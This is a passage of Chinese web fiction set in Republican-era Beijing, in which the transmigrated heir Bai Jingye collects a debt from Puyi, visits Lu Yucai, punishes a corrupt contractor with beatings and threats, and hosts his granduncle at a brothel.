一个洗脸都不自己来的人,能指望他知道什么?
原内务府的管事吓得瑟瑟发抖,“禀…禀陛下,三宫确实欠百草厅的药钱,因为民国政府答应给宫里的钱一直没给,就…”
溥仪有气无力的往椅子上一坐,眼泪滴滴答答的流了下来。
“我愧对…列祖列宗!”
“**欺负我给我赶出了宫。”
“连…连白修合这么个奴才他也敢欺负我!”
“一个贝勒和格格的私生子,私生子生下来的孽障,也敢欺负我!”
“刁奴悖主!”
他擦了擦眼泪,看向自己的老师庄士敦。
“老师,我应该怎么办?”
庄士敦揉了揉眉心,这一切在他看来太不可思议。
在他们英国,即使皇室没有了权力,也不会有人这么不体面。
报纸上骂骂英国皇室是**正确。
可把皇室从皇宫里踢出去,还有明目张胆要账的他还是头一次见。
“陛下,既然是欠钱就要还,这关乎您的信用度。”
“还了之后,我们要发表声明挽回名声,并不是有意欠钱。”
溥仪点了点头,“就按老师说的办。”
他把牙咬的咯咯作响,“白修合!奇耻大辱!待我复国成功之后,定要将你白家满门抄斩!刁奴!”
即使让人撵的跟孙子似的,溥仪依旧在做他的复国大梦!
假如白敬业此时知道他的话,定会提前将天龙八部发表出来,将慕容复改成慕容仪。
京榆地区司令部
张学良手中端着粥碗问了一句“承业,今天的京时报到了么。”
“到了少帅”
徐承业将报纸放在餐桌上,“少帅,这位写射雕的白先生又惹出事了。”
张学良一愣,“什么事?”
“您还是自己看吧。”
张学良吸溜了一口粥,拿起报纸,一眼就看到头版头条。
“噗!哈哈哈哈……”
第31章 拜访豫才先生
“哈哈哈哈”
张少帅止不住的大笑,一口粥喷的哪哪都是。
“这个白修合可真有他的,报纸上追着溥仪要账。”
“有意思,太有意思了。”
徐承业见状也笑道,“少帅,这个白先生不仅发报讨债,前几日我进北平替您取银票,钱庄的老板也说了件关于他的事。”
张少帅喝了口水往下压了压,好奇的问道,“说来听听。”
“我们和吴秀才在作战的期间,这位白先生在大昌钱庄囤积了价值两万大洋的奉票,这奉直战争一结束,他赚了将近6倍!”
“哦~,还有这事,他是什么时候囤的。”
“就在吴秀才到山海关不久,山海关前线最艰难的那段时间。”
“有点意思”
张学良托着下巴想了想,“我还真是挺想见见这位白修合。”
大昌钱庄
这次听到白敬业前来,乔经理亲自迎了出来。
一见面就打趣道,“修合先生多日未见,这两天您又将这北平城搅弄得满城风雨。”
白敬业老脸一红,“唉,谁让这世道乱生意不好做呢,我们家也是被逼无奈,穷的叮当响,只能出此下策找债主要钱,不值一提。”
“哈哈,修合先生,请”
落座后,乔经理直接开口问道,“修合先生,这次来是取出之前存的奉票?”
白敬业淡然一笑,“家里最近生意差,不打算去东北,麻烦乔经理再帮我换成银票。”
“呵呵”
乔经理笑了笑,从桌上拿出一张纸递给白敬业。
白敬业接过一看,是奉票这些时日的汇率。
他粗略的估算一下,自己应该赚了6倍多。
“修合先生,我是真心想交您这个朋友,有件事情您能否帮我解惑?”
“乔经理但讲无妨。”
“修合先生,您是如何判断出奉票在后续会升值?难道您有什么内幕消息?”
白敬业思考片刻后,淡然一笑,“我哪有什么内幕消息。”
“货币的本质其实是一种信用载体,奉票承载的就是张大帅的信用。对我而言,结果无非有三种。”
“一,张大帅攻入北平赶跑直系,我会大赚一笔。”
“二,张大帅重新退回东三省养精蓄锐,我会小赚,但是时间会长一点。”
“三,张大帅被直系连根拔除,我损失的无非就是两万块。”
“从这三点来看,除了第三点难以接受,其他的都稳赚不赔,当然值得投资。”
乔经理一拱手,“没想到修合先生在金融上也有着自己独到的见解,乔某受教了。”
“哈哈,运气而已。”
都兑换好以后,白敬业只取了五千银票留作应急,其他都存在钱庄。
他怕自己一个忍不住全都抽卡包。
出了钱庄,他直奔桂香村,选了两盒上等的点心。
准备去拜**国时期最出名的作家,鲁豫才。
他的小院已经开始修缮,所以有了借口去拜访。
提起豫才先生的西三条胡同小院,还有个小故事。
豫才先生最开始是和亲弟弟合买了一座比较大的四合院。
结果没过多久,他的弟媳诬陷他偷看自己洗澡。
他的亲弟弟作人,当场就写了一封绝交信,还将豫才先生赶出家门。
而实际上是他的弟媳花钱大手大脚讲排场,豫才先生每月的工资都交给弟媳统一管理,他忍不住说了两句,才引起弟媳的不满。
“咚咚”
白敬业站在豫才先生家门前叩打门环。
时间不长,门房打开院门问道,“您找哪位?”
“我找豫才先生,麻烦您通报一声,就说学生白修合来访。”
“好的,您稍等”门房大爷转身进去通禀。
过了两三分钟,一个腰板笔直、胡子极具特色的中年人走了出来。
白敬业看到中年人的第一想法是,“太尼玛像了,简直和语文书上的一模一样。”
“豫才先生好,学生白修合见过豫才先生。”
白敬业发自内心的深鞠一躬。
这可是写出**二字的鲁豫才,现代文学的奠基人,绝大部分的人都是读着人家的作品长大的。
他的文字永远是一针见血、振聋发聩。
将这个血淋淋的民国展现的淋漓尽致。
“哈哈哈”
鲁豫才笑的很爽朗,在白敬业的肩头拍了两下,“大名鼎鼎的白修合来看我,走,里边坐。”
跟着他进了书房,白敬业把点心往桌上一放。
“先生,知道您喜欢吃甜食,这是学生在桂香村给您挑的,您尝尝合不合口。”
鲁豫才一生嗜甜如命,吃甜食吃到牙疼。
拔牙前发誓不再吃甜食,拔牙后路过点心铺又买了两盒。
“哦~”
鲁豫才的眼睛亮了起来,伸手打开盒子,挑出一块品尝。
“嗯~,不错,桂香村的点心一如既往的美味。对了,修合啊,你怎么知道我在这住。”
“先生有所不知,隔壁的小院就是我买下的,目前正在修缮,我也是从典当行
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掌柜那得知先生也住在这里。”
“因为白天要修缮,害怕打扰到先生,所以今天特意来拜访先生。”
鲁迅一听格外的高兴,“如此说来,咱们俩今后是邻居了,甚好,以后喝起酒来,我又多一酒友。”
“哈哈,修合一定奉陪,我家里还有不少上好的绍兴黄,改日给先生搬过来一些。”
两人围绕着美酒美食谈了起来。
要论吃喝,一般人是比不过原主给白敬业留下的记忆。
二人一直谈到关于白敬业要债的事情。
“修合,你还不知道呢,现在北大的师生都盼着你赶紧要回钱来。”
白敬业一脸的懵逼疑惑道,“这是为什么?”
“哈哈哈,还不是因为你答应的那五万块。”
说到这豫才先生叹了口气,“唉,北大的老师们都将近半年没发过工资了。”
“这么久?”
白敬业惊叹了一声。
上次白敬功回家的时候提过一嘴,但他没想到已经欠了半年的薪水。
“政府那里就一点不管么?”
“政府?”
豫才先生冷哼一声,将手中点心扔进盒子里,气的用家乡话骂起了人。
“政府的那帮短棺材,只知道往兜里揣钱。”
“收上来的钱,一半做了军费,一半揣在自己兜里。整天的你打我、我打你,一帮的狗斜精!”
白敬业心里直发笑,“真不愧为民国第一喷子,骂人都不带重样的。”
他在心里反复的思索一番,这才开口说道,“这样吧先生,无论溥仪的钱能不能要到,我今期都向母校额外捐赠两万块。”
“当真?”
白敬业一笑,“先生若是信不过,我给你打个欠条如何?”
“哈哈哈,修合玩笑了”
鲁豫才拱手说道,“我代表北大的全体同仁谢谢修合的慷慨!”
白敬业连忙起身,“先生您严重了,钱财乃身外之物,算不得什么。”
他虽然嘴上说着,心里是嘎嘎滴血。
两万块!
他是什么人,恨不得把钱镶肾上。
但这笔钱该掏就得掏。
一来是看北大确实难,有了能力能帮一把是一把。
二来现如今的大学生可不是后世当牛马的那种。
绝对是有真才实学的,人家能自己铺铁轨、修废弃的火车头,还能一路开着到南京找日记家要钱去。
这种高素质人才都是宝贝,自己以后用人的地方多着呢。
提前烧冷灶这法子无论啥时候都管用。
第32章 巡查小学校
从豫才先生家里出来,已经是日头往西转了。
白敬业擦了擦额头上的虚汗,内心腹诽道,“和文人聊天是特娘的累,老子一个武将,下回能躲就躲吧。”
前半程还好,聊聊风花雪月、美食美景,白敬业都挺在行。
可聊到文学创作,他就不灵了,他的射雕怎么写出来的,自己最清楚。
你让他在豫才先生面前谈文学那好有一比啊。
瞎摸杵子去南极根本找不着北。
脑血栓练下叉根本劈不开腿!
白敬业摇了摇头,迈步走进隔壁自己的小院。
来之前他已经吩咐小胡等人在小院等着。
“少爷,您回来了。”
“嗯。”
白敬业一愣,看见张增致也在,疑惑道,“你不是在小学那边么,怎么跑这来了。”
张增致紧缩眉头,“少爷,您还是跟我去看看学校那边吧!”
……
白敬业站在还未竣工的小学门口,脸色变得异常的难看。
来来往往的工人运送着建筑用的材料。
木头大部分都是糟烂的、墙体看不见一块青砖。
张增致捡起一块砖头,来到白敬业面前,“少爷您看,这都是用的都是生砖,用手一擦都往下掉粉。”
他在砖上摩挲几下,手掌上留下一层黑红的砖灰。
白敬业扭过头看向小胡,“小学的工程包给谁了?”
“少爷,是王总管交给一个叫朱伏的,这个朱伏是抱狗丫鬟香秀的表哥。”
白敬业回忆了一下,知道是谁了,猪狗人嘛。
“哎哎哎,我说你小子怎么又回来了,知不知道这是施工重地,你老往这瞎溜达什么!”旁边走过一个胡子拉碴的壮汉,冲张增致喝问道。
当他离近一瞅,发现张增致这回不是自己来的。
正中间的年轻人,一看衣着打扮就不是好相与的。
他一缩脖子,语气也没那么横了,“您几位是做什么的?”
白敬业语气冰冷的说道,“朱伏呢?让他滚过来。”
“您是?”
小胡把眼睛一瞪,“看清了,这是我们白家少东家!”
大汉一听是东家来了,连忙鞠躬作揖,“小的有眼不识泰山,冒犯了少东家,请您恕罪。”
白敬业皱着眉头一摆手,“行了,你去把朱伏叫过来。”
“少…少东家,朱大爷他没在这。”
“他在哪呢?”
“呃……”
白敬业看他支支吾吾的,气就不打一处来,冲身后李贵一使眼色。
李贵从地上捡起一根木方,恐吓道,“说不说!不说砸折你的狗腿!”
“别别别,我说,朱大爷和几个管事的去赌坊打牌了。”
“李贵、李福,押着他去把那个猪狗人给我逮回来!”
“是,少爷!”
过了能有一个多钟头。
李贵和李福押着一个秃头回来。
这秃头长得血尼玛磕碜,贼眉鼠眼、下巴还有一小撮山羊胡。
朱伏见到白敬业吓得体如筛糠,哆哆嗦嗦走了上来,“少爷,您叫我?”
还没等白敬业说话,李福在后边照着他的腿窝就是一脚,“少爷也是他妈你能叫的!”
“哎呦~祖宗别打别打,大爷我错了。”朱伏抱着头跪在地上哀嚎。
白敬业一指地上的烂木头和砖头,“这些就是你建学校用的材料?”
“是…是”
“账本在哪呢?拿过我看看。”
一提账本,朱伏更不知所措,匍匐在地上发抖一动不敢动。
“快点拿!”
“是…是大爷”
拿过账本,白敬业递给小胡。
他粗略看了一遍,嘬着压牙花子冲白敬业说道,“啧,少爷,他这上的账最少翻了三番,花了能有八千多块。”
“多少?!”
白敬业差点气笑了,就算你用上好的材料,盖一个小学校撑死不过两千块。
他刚买的四合院才花了八百五十块。
白敬业围着跪在地上的朱伏转了几圈,冷笑道。
“行啊!花了我爸爸八千多银子,学校就他妈盖成这奶奶样?”
他用脚踢了踢地上的烂木头,嘲讽道,“合着背地里黑着我爸爸的银子,还得骂他白景琦是傻王八蛋!你的心可是够黑的。”
朱伏欲哭无泪,抱着白敬业的裤脚哀求道,“少爷,饶了我这次,我怎么敢骂七老爷是王八蛋。”
白敬业眼睛立立着,“嗯?你还骂,给我打!”
他一吆喝,身后这几个铁杆狗腿,拎着棒子给朱伏围起来就打。
小胡也不解恨的上去拿脚踹着,“让你贪我们老爷的钱!还敢骂我们老爷。”
“别……别打了,少爷!不光我一人儿拿钱,还有王老爷!王总管他才是拿的大头!”
“等等”
白敬业制止众人,走到朱伏面前明
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知故问道,“你说的王总管是王喜光?”
“就是他,少爷,大头都是他拿走的,我也是听他的命令。”
白敬业故意把脸一板,“胡说!谁不知道王总管最是忠心,你这是在诬陷他,接着打。”
“别打了少爷,我说的是真的。”
他不停的磕头求饶,“少爷是真的,从我接到这个活儿开始,每次进料按照月份给王总管…”
白敬业没等他说完,呵呵一笑,“别光说,你不是认字么,拿笔写下来!怎么接的活、怎么贪的银子给我写清楚!”
“哎,我写”
朱伏从头到尾把事情的经过都写了一遍。
其中包括王喜光贪了老太太买丫鬟的450块。
他如何在王喜光手里接的活,每次怎么给王喜光分成等等。
白敬业看完心满意足的点了点头,将证据交给小胡保存。
“账算完了,这个学校怎么办?我也不能留着你这个祸害,要不把你送到警察局?”
“少爷!少爷!求求您千万别,我把贪的钱都吐出来,我都吐出来!”
白敬业呵呵一笑,“从明天开始把所有的料都给我换成上好的!学校拆了重盖,年前必须完工!”
“要是差一点,我他妈让你整个学校吃了你信么!”
“还有你要是敢跟那个老太监提前通气,我杀你全家!”
朱伏吓得一哆嗦,“不敢,少爷,可是快要入冬了…”
“哼!那是你的事,爷我管不着!滚!”
白敬业不知道快入冬没法盖房子么?
他知道,他就是故意要整整朱伏。
连他妈孩子上学的学校都敢用豆腐渣工程,杀他全家都不解恨。
“少爷,王喜光怎么办?”小胡上前低声问道。
“啧!”
白敬业托着下巴紧皱眉头思考着。
他还真没想好怎么收拾王喜光。
王喜光和杨亦增可不一样,大太监出身。
慈喜那老娘们**以后他就出了宫,带出来一堆好宝贝。
而且这王八蛋狡兔三窟,养了好几个姨太太,目前还都没摸清,只能先留着他一段。
“先放一放吧,年后再收拾他!”
王喜光别的不说,溜须拍马伺候人的能力是专业的。
二老太太现在岁数也大了,所以白敬业也抱着让她过个消停年的想法,最起码也得等到她七十大寿以后再处置王喜光。
第33章 求情
“表妹求求你,你得救救表哥,表哥这一大家子可是没法活了,呜呜呜…”
朱伏像个磕头虫似的不停的给表妹香秀磕头求救。
香秀不明所以,只能先给他搀扶起来。
“你这是干什么?什么事…你快起来!”
朱伏哭天抹泪的把事情的经过讲述一遍。
“妹妹,你一定要救救哥哥我,要不然大少爷肯定不会放过我这一大家子!”
“求求他给我宽限点时间,这冬天…没法干活啊!”
香秀气的银牙咬的咯吱吱作响,她抱着肩膀冷哼一声,“哼,我也没办法你找别人吧。”
说完后她转身就要走。
朱伏拉着她的胳膊,又跪了下来,“妹妹你可不能见死不救啊…”
“我怎么救!”
香秀一甩胳膊怒道,“连七老爷安排的活你都敢贪!”
“学校还是大少爷收养孤儿用的,你犯在他手里,你知不知道,他能逼得皇上乖乖把欠的钱交出来!”
“你让我说你什么好!”
朱伏一脸委屈,“谁…谁知道他会去那查账啊。”
“妹妹求你了,我妈和你妈那可是亲姐俩,你不能看着你大姨被一起弄死吧。”
“你……哼!”
香秀冷静下来考虑了一会儿,才冷声道,“我试试吧,能不能成我打不了包票。”
“谢谢表妹、谢谢妹妹”
朱伏一个劲儿的道谢,“妹妹,我还听说大爷一件事。”
“什么事?”
“我在南城跟彪爷他们一起吃饭的时候,听说杨亦增失踪前,在百花楼和他一起吃过饭。”
“就在他失踪的前一天晚上,你说…”
香秀吓得赶紧捂住了他的嘴,“这事你也敢胡说!”
“我告诉你,这事你给我烂在肚子里,就算你**也不许说出来!”
……
忙活了一天的白敬业,终于有功夫歇了一会儿,躺在床上望起天来。
“嘎吱”
小木棉手里端着托盘推门而进。
“少爷,洗洗手吃饭吧。”
“嗯~”
白敬业懒洋洋的抻个懒腰,他往托盘里一瞄,还真挺丰盛。
一碗小馄饨、一碟酱肘子、两个烧饼还有几个爽口小菜。
“馄饨什么馅的?”
“海米猪肉的,是太太下午亲手包的。还有天福号的酱肘子,是七老爷特意交代给您留的。”
白敬业擦了擦手,刚喝了一口汤,外边就传来声响。
“大少爷在么?”
木棉开门一看是香秀,忙问道,“是老太太要找大少爷么?”
香秀摇了摇头,表情有些尴尬,“是我想找少爷有点事说。”
白敬业皱皱眉头,猜到她是为了朱伏的事而来。
“让她进来吧。”
木棉闪身给香秀让了进来。
“木棉姑娘,我有点事想和少爷单独说说。”
木棉看向白敬业,后者点了点头。
等到屋里就剩下两人的时候。香秀扑通一声跪在地上。
“大少爷,求您再给我表哥一次机会。”
白敬业仿佛没看见一样,咬了一口馄饨。
肉馅鲜嫩的汁水混合着海米鲜味流入口中。
过了三四分钟,他才擦擦嘴,面无表情的说道。
“他找你说了?你知道他做了什么。”
“学校是给孩子们念书用的,万一出事了,谁担得起这个责任?”
“要是成年人用的,我可以睁一眼、闭一眼,但那都是孩子,不行。”
香秀咬了咬嘴唇,十分镇静的说道,“少爷,我不是求您放了他,而是求您,让他帮您办完了事再惩治他。”
她的话语让白敬业有些诧异。
白敬业饶有兴趣的问道,“他还能帮我办什么事?”
“修学校”
“少爷,马上就要入冬了,您就算重新找人,也要等到明年,而我表哥受了教训,他一定会尽心竭力,尽快的把事情做好,我只求您宽限他一些时间。”
白敬业听完心中一阵冷笑,心道,“真不愧是李香秀,难怪后期能拿捏住整个大宅门。”
说话的艺术和手段,再来十个杨九红也比不过他。
白敬业沉思片刻,拿着汤勺在碗里转了几圈。
最后叹了口气,“算了,香秀姑娘的面子还是要给的,你起来吧。”
香秀听了满心欢喜的站了起来。
“不过你先别高兴的太早,建小学我不会再给他一分钱,他要是不能保质保量的完工,到时候别怪我不讲情面。”
“谢谢少爷”
香秀连连鞠躬,“少爷您放心,再出差错我亲手给他送警察局去。”
白敬业听了一笑,他刚想问问老太太最近怎么样。
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>“砰砰”
木棉敲门后走了进来,“少爷,莲心姑娘来传话,七老爷那让您赶紧过去一趟”
白敬业喘了口粗气,把汤勺往桌上一扔,“这特么一晚上没完了?还他妈让不让人吃口饭了!”
“木棉,你送送香秀姑娘。”他说完后转身离去。
白敬业进了正房,看见白景琦正在那自斟自饮。
他看见白敬业进来,难得的脸上露出了笑容。
他用手往桌对面一指,“敬业,过来陪你爸爸喝两盅。”
白敬业一愣,这在他的印象里还是头一次,脸上带着不解的神色坐在白景琦对面。
“怎么了老白,这么高兴又要娶姨太太了?”
“混账!”
白景琦无奈的说了一句,“你小子就不能跟你爸爸我好好说话?”
这时,黄春端了一盘小菜走了过来,放在白敬业的面前。
她伸手在白敬业的脑门上戳了一下,“别净惹你爸爸生气,你们爷俩聊吧,我回屋了。”
黄春脸上挂着笑容,转身走进了里屋。
对她来说这辈子最幸福的事莫过于此,一个平平淡淡的家。
白敬业端起一杯酒,“得,爸贝我敬您一杯,算我说错话了。”
白景琦跟他干了一杯,这才笑道,“你小子还真有点本事。”
“知道么,溥仪今天差人送银子来了。”
白敬业一愣,“今天?这才过去几天啊,咱们这皇上动作够快的,送来多少啊?”
“二十万银票!”
白景琦一挥手,“一分不少全都送来了。”
白敬业自斟自饮了一杯,嘟囔道,“这我倒是没想到,来的人说什么了吗?”
“说了,说让你抽空去天津,一起共商大事。”
“还说溥仪认为你是有大才的人,绝不会亏待你。”
白敬业一口酒好悬没喷出来,嘲讽道,“你让他歇菜吧!出了事就往鬼子大使馆跑。”
“现在住在侍卫家里,还他妈不忘他那个复国大计呢?这孙子是小时候脑子灌水了么?”
白景琦也嘲讽道,“说的对,都他妈这模样了,还整天做梦。你猜来的人说什么,说咱们是一家人,这特么哪跟哪啊!”
“我要是他!在清朝**那天就到崇祯之前死那地方,那根绳给自己勒死,还他妈皇上呢?神马东西!”
第35章 给他开开荤!
几个人几句话给老太太哄得美滋滋的。
有了白敬业,白景琦自然也就靠边站。
等了一会儿,大房和二房的人陆续都进了屋,唯独三房迟迟未到。
老太太皱起了眉头,“我说!他三叔怎么没来?”
雅萍老姑奶奶赶紧解释,“我三哥说他们三房今天要自己过冬至。”
“自己过?不成!”
老太太说话间就站了起来,“冬至哪有自己过的道理!都跟我瞅瞅去。”
一大家子男男女女,众星捧月一般围着二老太太,来到了白颖宇的三房门口。
老太太今天特别高兴,站在门口中气十足的喊了一句,“老三呐!劫皇纲的来了!”
三老太爷听见响动赶紧迎了出来,他弯着腰伏低做小,“二嫂,您上我这热闹来了?”
老太太摇了摇头,“不成!你得上我那热闹!晚上我还请了堂会,没你不热闹!”
三老太爷往里一指,“二嫂您看,我这都摆上了,今我就自己过了。”
倒不是白颖宇不爱热闹,主要是俩儿子都不在眼前。
白景双需要在老铺和南记守着,过节也不能耽误卖药,万一有人家急需买不到药,那是作孽。
白景伍从政府辞职,去了南方寻找队伍。
白颖宇孤孤零零的,觉得啥都没意思,一寻思还是和媳妇自己过节。
老太太用手一指,“孩子们,把他的东西都搬那边去!”
一大群丫鬟和孩子,冲了进去拿起桌上的东西就往二房走。
三老太爷见状,“二嫂二嫂,您别介,我这都预备好了,就不去了。”
“你不去了?”
二老太太眼睛一立,揪住他的耳朵,“你不去,我揪你耳朵你信不信?”
“二嫂二嫂……”三老太爷连连求饶。
“敬业,搀着点你三爷爷。”
“我知道了,奶奶”
白敬业搀着三老太爷往二房走去。
路上,三老太爷悄声说道,“我说小子,这段日子忙什么呢?这百花楼没你可不热闹了!”
白敬业眼珠转了转,有了心思,“三爷爷,您这是挑我理了。”
他凑在三老太爷耳边,“明晚百花楼,我出钱掏银子,好好孝敬您一回。”
“得!一言为定!”
“晴好吧您。”
二人眼神一对,眼神里充满了各种颜色。
饭罢,白家在花厅里摆起了堂会。
请的自然是京城最出名的万小菊。
除了戏班外,老太太还特意要求请了位说书先生。
专说白敬业的这部射雕!
花厅里聚满了人,白家各位亲朋好友,加上丫鬟仆人,足足两百多号。
那叫一个热闹!
可有的地方热闹了,就有地方冷清。
白家新宅四庭院,杨九红的住所是冷冷清清,只剩她和丫鬟红花两人。
自从杨亦增的事情一出,白景琦就没踏入过杨九红的门。
倒不是白景琦有多生气,而是没工夫,最近七老爷和槐花打的火热。
桌上摆着一桌丰盛的宴席,杨九红一筷子都没动。
直勾勾的发呆,不知道在想些什么。
红花给她夹了一筷子菜,安慰道,“姨奶奶您吃点吧。”
杨九红长叹一声,“唉,你今天去我嫂子那了么?”
“去了,钱和用的东西也都带了过去。”
红花想了想,“姨奶奶,要不我去把舅太太接过来?”
“算了”
杨九红将碗筷放置一旁起身往里屋走去,“你去把我哥哥之前拿的东西准备点。”
红花知道她说的是黑疙瘩,担心道,“姨奶奶还是别抽了,要是被七老爷知道……”
“七老爷?呵呵”
杨九红笑的十分凄惨,眼角划过一滴泪水,“七老爷都不进我的屋子,又怎么会知道。”
……
“少爷,好么秧的怎么又要来这个地方。”
“这地方多脏啊,上次您一晚上就花了三百多大洋。”
“……”
小胡苦着脸跟在白敬业的身后,絮絮叨叨个不停。
在白敬业的要求下,他也穿着一身中山装。
由于穿不习惯,一个劲的扯领子,感觉十分的别扭。
“我说你叨叨个没完,胡爷爷也不这样,你说你随谁呢?”
“少爷,我是觉得咱可以换个地方。”
白敬业气极反笑道,“我三爷爷那人,你请他去别的地方,他去么?”
“我告诉你啊,别坏了少爷我今晚的大事!”
“再说,少爷我现在做啥事是不是得征求你同意了?”
“没…没有”小胡讪笑道。
“哎呦大少爷,终于把您盼来了”
杂**老大甩着他那依旧飘逸的分头迎了上来。
“我三爷爷到了么?”
“三老太爷早到了,就等您啦!”
白敬业点点头,回头看向他,示意让他打赏。
小胡把手伸进兜里还准备查出几个铜元。
白敬业一把抢过他兜里那点钱。
一股脑都塞进杂**老大的手里。
“嘿!谢谢大少爷!”
小胡满脸苦涩冲白敬业嘟囔道,“少爷,里面还有俩大洋呢!”
“废什么话!”
白敬业勾着他的肩膀往里走去,肚子里起了坏水,决定今天好好治治他这话痨的毛病。
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珍姐姐就守在楼梯口等着白敬业呢。
见他进来,风情万种的迎了上去。
“大爷,您怎么才到?三老太爷都等着急了。”
“呵呵”
白敬业呵呵一笑,在她脸上捏故了一把,“雪天路滑,再说他着急,你倒是在里面好好陪陪啊。”
“瞧您这话说的,我得守着您啊。”珍儿一边说,一边往白敬业身边蹭。
白敬业冲珍儿使了个眼色,指向小胡,“看见没,这是我兄弟头一次逛花楼,找几个漂亮的陪陪他!”
“哈哈哈”
珍姐姐捂嘴乐了起来,冲上面一挥手,“下来几个。”
三四个姑娘下楼,就把小胡围了起来。
“少爷,少爷,您这是干嘛?我……”
小胡吓得都快哭了出来。
白敬业往楼梯一站大手挥动,高声道,“今晚上,你们谁陪好了我这兄弟,给他开开荤,赏钱双份!”
“谢谢大爷!走吧,这位爷~”
“哈哈哈,走吧爷~”
几个姑娘生拉硬拽着小胡就往隔壁房间走。
“少爷!少爷!”
白敬业就当听不见他的哀嚎,搂着珍姐姐进了房间。
进了屋一看,三老太爷正在那香一口,玩的十分乐呵。
白敬业拉过椅子坐了下来,打趣道,“我说三爷爷,您老这岁数还成吗?”
“成吗?!”
白颖宇听到孙子的打趣,指向周围的姑娘,“你问问她们!棒着呢!”
“哈哈哈”周围的姑娘笑成一片。
白敬业往桌上的菜扫了一眼,“我说珍儿,我请三爷爷吃饭就吃这?”
“去,让杂**老大跑一趟,东兴楼安排一桌,三爷爷爱吃什么上什么,甭怕花钱,爷我有的是银子!”
“嘿,你小子成,三爷爷没白疼你,来,干喽。”
白敬业举杯跟三老太爷干了一杯。
等菜的功夫,三老太爷问道,“你最近瞎忙乎呢?哪都瞅不见你。”
“嗨,瞎忙呗,到处找钱辙啊,您也知道我那学校现在没钱不行,一天二三十口子人等着吃饭呢。”
从白敬业要收养孤儿开始。
小胡就在各个孤儿院和教堂,按照白敬业的要求收养了二十多个孤儿。
一水儿**岁的小男孩,都是身体素质好和脑子灵活的。
白敬业毕竟不是圣母,没那份普度世人的心。
这年头想活下去,你得有活下去的价值!
各位大佬们,验证期开始了,求各位大佬点催更,送点免费礼物,帮着做做数据。
验证期期间每天两章,下月开始固定每日三章,不定时加更!谢谢各位大佬!
第36章 风尘之中亦有豪杰
白三爷听后,竖起大拇指夸赞了一句。
“小砸,你这件事做的不得不说,是个爷们儿!真给咱们白家长脸。”
白敬业苦笑着,自饮一杯惆怅道,“三爷爷,光长脸顶什么用啊。您也不是不知道,今年公中效益不好,各家的股息都暂停了。”
“没钱这事也办不下去啊,没钱我得跟那帮孩子们一起喝西北风。三爷爷你有什么好的来钱道没有,给我介绍介绍?”
白三爷神秘一笑没说话,端起酒杯喝了一杯。
白敬业明白了,这是想拿拿桥,他拍了拍身边的珍儿。
“珍儿,没看见我三爷爷的酒杯空了么?”
“呦~三老太爷”
珍姐姐端着酒壶来到三老太爷旁边,满了一杯,“您看我们大爷急的,您可是长辈,不许藏心眼。”
说着她一甩腰,拱了白三爷一下。
“得得得,我说。”
白三爷看着白敬业神神秘秘的说道,“你知道驻扎在京榆周边的是哪支部队么?”
“当然知道啊,京榆地区总司令张少帅的部队。”
白三爷轻拍了下桌子,“我跟你说,张大帅这次想换衣服没成功很不高兴,决定让整个奉军换装,不穿北洋的蓝色军装。”
“这京榆地区部队换军服的活,让我给揽下来了,我算过了只需要这个数。”
他说着伸出一巴掌,“五万块,你置办两个被服厂,最少能翻两番!”
“怎么样小子,这活儿肥吧!看你最近缺钱,我让给你了!”
白敬业心中冷笑,暗骂道,“老逼登!真是逮谁算计谁。”
给军阀干活是那么好干的?
还翻两番?
上上下下不打点利索,人家能顺利给你结账?
拖你个一两年,你哭都没地方。
你这是打算风险让我担,你纯赚红利啊。
不过这对他来说,一切都不是问题。
白敬业早就知道他这三爷爷揽下奉军的活。
今晚来也是为了这个目的。
他要给盘尼西林找出第一个合作人选!
这和当年老二太太用百草厅干股买通常公公一个道理。
要说现如今的民国,掰手指头算,人还比较仁义、讲义气的,而且还有大能量撑得住场面的,和各国都有联系的。
可能只剩下那位褒贬不一的少帅!
白敬业也考虑过要不要和其他势力合作,可一盘算这几方势力。
白?不行,他们现在还窝在广东,**炮都费劲,更别说支撑他办厂。
要是这个东西到他手里,呵呵,整不好就得给他扔狗笼子里。
红?……算了,估计他们以后得靠白敬业支援。
用宋丹丹的一句话来形容就是,他家穷的啥玩意没有!就剩个手电筒了。
而且在某个时期,红的内部太复杂,估计合作起来,能直接把东西给**熊,得不偿失。
思来想去,他还是觉得那位少帅靠谱!
起码他在九一八之前还是比较靠谱的。
至少这位少帅不至于巧取豪夺,而且他可以借着这位少帅打通各国的关系。
再借机拉着鹰酱、汉斯等,一起把这个盘子做大!
最起码这段时间内,龟子是不敢动这几个强国的,自己的安全可以得到保证。
至于以后,哼哼,我特么穿过来不是为了挨打挨抢的!
九一八之后不一定谁弱谁强呢!
打通了鹰酱的关系,图谋一番安南。
安南王的位置我白敬业也未尝不可!
白敬业虽然心里暗骂着他的三爷爷,但脸上却是另一番神色。
“哎呦三爷爷,您这是给了我一个大惊喜啊!”
“我替我的那些孩子们谢谢您了,回头啊,让他们给您立个牌位,早晚三炷香天天拜您,您就是他们的亲爷爷。”
“啧!你小子咒我死是不是。”
“没那个,三爷爷来,干”
白敬业举杯恭恭敬敬的敬了他一杯。
白三爷放下杯后又伸出三个手指头,“小子,按理说这事咱俩应该对半分,可谁让你不容易呢,事成之后我也不多要你的,两成”
“嘿,还行,还真照顾我了”,白敬业心中暗想,“老家伙起码没像原先要我五成。”
“我谢谢你了三爷爷,我知道您的心多宽广、多善良,就是见不得这些孩子挨饿受冻。”
“这样,今晚我给您再多点俩姑娘,让您好好舒服舒服。”
此刻的白敬业就像后世商K中的煤老板似的,怀里搂着姑娘,嘴里喊的全是正能量。
白三爷听完笑骂道,“你小子是他妈准备累死我,提前继承我的家产啊!”
“嗨,三爷爷,都是一家人谁他妈继承不是继承。”
“哈哈哈”
到了深夜,两个人全喝大了。
原本白敬业想给他灌醉,自己找个借口往外溜。
倒不是他有精神洁癖,而是真怕这个时代整上个什么杨梅之类的。
那他就不怕小胡染上么?
当然不怕!
咱们白大爷手里有药啊,青霉素专治这个!
可是
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谁想到,三老太爷真不是一般的量。
比白敬业喝的都多,意识还能清醒。
珍姐姐扶着白敬业往另一个房间走去。
白敬业的老相好秋红姑娘还想上前帮忙,却被她一个眼神瞪了回去。
也不知道过了多久,白敬业迷迷糊糊的醒了过来。
转头看见珍姐姐紧挨着自己。
一双水灵灵的大眼睛,正笑吟吟的盯他。
“艹!”
白敬业暗想,“到底让她给我忙活了。”
“几点了?”
“才八点多,要不你多睡一会儿?”
白敬业晃了晃头,到水盆前洗了把脸。
换好衣服后,一估计昨晚花费大概不到两千。
他从兜里掏出两千银票放到桌上,“这是两千,要是不够先记账。”
珍姐姐笑眯眯的拿起银票点了一遍。
又点出一千银票,啪!塞到白敬业的手里。
白敬业不明所以的看着她。
